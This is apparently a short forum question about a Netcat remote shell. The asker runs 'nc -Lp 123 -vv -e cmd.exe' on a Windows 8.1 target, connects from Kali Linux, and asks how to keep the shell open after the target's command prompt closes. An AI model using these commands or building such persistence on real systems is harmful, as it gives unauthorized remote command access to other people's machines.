As soon as the command prompt is closed on the target machine the reverse shell is closed on the client machine. Is there any way to keep the port open and Netcat working after the target machine closes the command prompt with Netcat, so that I can keep using the reverse shell on the attacking machine? On target machine: Windows 8.1.
nc -Lp 123 -vv -e cmd.exe
On the client side(Kali Linux).
nc <ip> 123